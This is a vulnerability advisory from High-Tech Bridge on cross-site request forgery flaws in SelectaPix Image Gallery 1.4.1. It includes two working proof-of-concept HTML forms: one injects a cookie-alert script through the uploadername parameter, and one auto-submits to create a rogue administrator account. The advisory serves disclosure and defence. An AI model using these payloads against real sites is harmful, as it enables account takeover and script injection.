Total Tests:

Cross-site Request Forgery (CSRF) Vulnerabilities in SelectaPix Image Gallery

This vulnerability was discovered by our security researchers before 2019.

Advisory ID:HTB22963
Product:SelectaPix Image Gallery
Vendor:Out of the Trees
Vulnerable Versions:1.4.1 and probably prior
Tested Version:1.4.1
Advisory Publication:April 19, 2011 [without technical details]
Vendor Notification:April 19, 2011
Public Disclosure:May 3, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
Medium Risk
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SelectaPix Image Gallery which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in SelectaPix Image Gallery
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/upload.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change album settings. Due to insufficient sanitation of input data in the "uploadername" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://[host]/admin/upload.php?albumID=1&parentID=0&request=single" method="post" name="main" id="main">
<input type="hidden" name="uploadername" value='"><script>alert(document.cookie);</script>'>
<input type="submit" value="OK">
</form>

1.2 The vulnerability exists due to insufficient validation of the request origin in admin/register_new.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and create new accounts with administrative privileges.
Exploitation example:
<form action="http://[host]/admin/register_new.php" method="post" name="main" id="main">
<input type="hidden" name="email" value="[email protected]">
<input type="hidden" name="username" value="test">
<input type="hidden" name="passwd" value="123456">
<input type="hidden" name="passwd2" value="123456">
<input type="hidden" name="RoleID" value="4">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22963 - https://www.immuniweb.com/advisory/HTB22963 - Cross-site Request Forgery (CSRF) Vulnerabilities in SelectaPix Image Gallery
[2] SelectaPix Image Gallery - outofthetrees.co.uk - SelectaPix is free (Open Source) XHTML Strict PHP/MySQL image gallery script by Out of the Trees web design.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question